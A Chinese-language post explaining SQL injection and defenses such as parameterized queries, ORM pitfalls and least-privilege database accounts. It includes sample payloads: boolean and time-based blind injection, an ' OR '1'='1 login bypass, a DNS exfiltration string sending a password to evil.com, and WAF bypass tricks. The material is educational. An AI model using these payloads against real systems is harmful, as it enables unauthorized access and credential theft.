游客发表
2019年夏天,一个做安全测试的朋友给我发来一张截图。某电商平台的商品详情页URL里,id=1057被他改成了id=1057 AND 1=1,页面正常返回;改成id=1057 AND 1=2,页面直接空白。他笑了笑说:“这站随便注。”
这就是SQL注入最经典的布尔盲注判断。代码没做任何过滤,用户输入被直接拼进了SQL语句里。后端大概跑的是这样一句:
SELECT * FROM products WHERE id = 1057 AND 1=1 数据库老老实实执行了。它分不清哪个部分是程序员写的,哪个部分是攻击者塞进来的。
问题根源出在“拼接”这个动作上。很多早期代码是这么写的:
String sql = "SELECT * FROM users WHERE username='" + name + "' AND password='" + pass + "'"; 如果用户在密码框里输入 ' OR '1'='1,整条语句变成:
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1' WHERE子句永远为真。不需要密码,直接登录。这种手法在2000年代初的论坛、CMS系统里泛滥成灾。现在听起来像老掉牙的故事,但每年CVE漏洞库里SQL注入仍然稳居前列。2023年OWASP Top 10里它虽然排到第三,但实际暴露面一点没缩小——因为老系统还在跑,新开发者还在犯同样的错。
有人觉得防SQL注入就是过滤掉单引号和等号。太天真了。
盲注场景下,攻击者可以用时间延迟来判断信息。比如MySQL里输入:
id=1057 AND SLEEP(5) 如果页面卡了五秒才响应,说明注入成功。接下来可以逐字符猜数据库名、表名、字段内容。一个字母一个字母地试,用SUBSTRING配合ASCII比较。整个过程自动化脚本跑,几分钟就能拖出管理员密码哈希。
更隐蔽的是利用DNS解析带外数据。输入LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.evil.com\\a')),数据库会把密码拼进域名去请求DNS,攻击者在自己DNS服务器日志里直接看到明文。这种手法绕过了所有基于HTTP响应内容的检测。
参数化查询(Prepared Statement)是目前最可靠的防御手段。原理很简单:SQL语句的结构先发给数据库编译,参数值后传,数据库不会把参数值当代码执行。
Java里用PreparedStatement,Python里用cursor.execute("SELECT * FROM users WHERE id=%s", (user_id,)),PHP里用PDO的bindParam。关键点是:参数值永远不参与SQL语法解析。
但有个坑——表名、字段名、ORDER BY后面的列名,这些不能用参数化。因为预编译只针对值,不针对标识符。很多框架提供白名单映射,比如if (sortField.equals("name")) { orderBy = "name"; }。直接拼ORDER BY ${ column}照样中招。
Hibernate、MyBatis这些ORM框架默认用参数化,但开发者一旦图方便写原生SQL拼接,漏洞立刻回来。我见过一个MyBatis的XML映射文件里写着:
SELECT * FROM logs WHERE type = '${ type}' 注意是${ }不是#{ }。${ }是直接字符串替换,#{ }才是预编译占位符。一字之差,整个系统裸奔。
还有个常见误区:用了ORM就安全。如果ORM底层调用了createNativeQuery或者EntityManager.createQuery时拼接了用户输入,一样完蛋。工具永远替代不了对数据流向的清醒认知。
不少公司部署了WAF就觉得自己安全了。WAF能拦一些通用payload,但绕过手法层出不穷:大小写混写、内联注释/*!50000SELECT*/、URL二次编码、分块传输。攻击者花几分钟就能找到绕过规则。
WAF的正确位置是纵深防御的一层,不是唯一一层。代码层面的参数化查询才是根本。数据库账号权限最小化——Web应用连数据库的账号不该有FILE权限、不该能读information_schema以外的库——这些基本功比买什么高级设备都管用。
写到这里想起那个朋友后来补了一句:“最可怕的不是漏洞本身,是开发觉得‘我的代码不会被注’。” SQL注入二十多年了,原理没变过,变的是攻击者的耐心和自动化程度。你少写一个#,别人就能多拿一个库。
友情链接